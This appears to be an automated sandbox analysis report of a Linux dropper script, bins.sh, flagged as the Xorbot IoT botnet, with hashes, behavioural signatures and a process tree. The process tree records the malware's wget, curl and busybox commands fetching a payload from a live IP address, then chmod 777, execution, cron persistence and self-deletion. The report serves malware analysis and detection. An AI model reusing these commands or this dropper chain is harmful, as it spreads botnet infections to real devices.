Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/12/2024, 22:45

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    efbcf30c8abd1e80a0dd54b19276ebf5

  • SHA1

    6f341a5f8e20188054977b1993d671020cfcf8b7

  • SHA256

    d1f0c8c0899eb6c4fb7602943cb2483daebfa5ec71a7e196cd01cca5beb0a597

  • SHA512

    a1c6d5a9aa4331810201275dce569e5667f2ac12fc376ca47696c2dd078d8c17853f196dd13ed3ac8f4f7661680f35db02f2310433daf9753face3853446d1fa

  • SSDEEP

    192:9jrrX8D8I1NlsogS68ApxXhrX8Dh1NlsoxK8Ax:FrrX8D8hS68ApxRrX8D5K8Ax

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:1480
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/chmod
          chmod 777 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • File and Directory Permissions Modification
          PID:1482
        • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          ./KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1483
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1485
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1486
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1487
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1488
              • /bin/rm
                rm KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
                2⤵
                  PID:1498
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
                  2⤵
                    PID:1501

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /var/spool/cron/crontabs/tmp.KkAW6A

                        Filesize

                        210B

                        MD5

                        c2d2e0649bc1038eeb4e06e94389386a

                        SHA1

                        04a739ab9483b293bcd58f1c40bc31d67087f111

                        SHA256

                        f08e52cf506ecd1773f6c3db908c4e801cfd64711596f91d8382f713051c0ebe

                        SHA512

                        619ca81506b52ac5ffaa07fa46d6c7a83916e1343dec8a379af264ec4bfb473f6bbdfdc8a4a0565c34bc78095f74382c471ceed5bf7484f53edd0980771d9758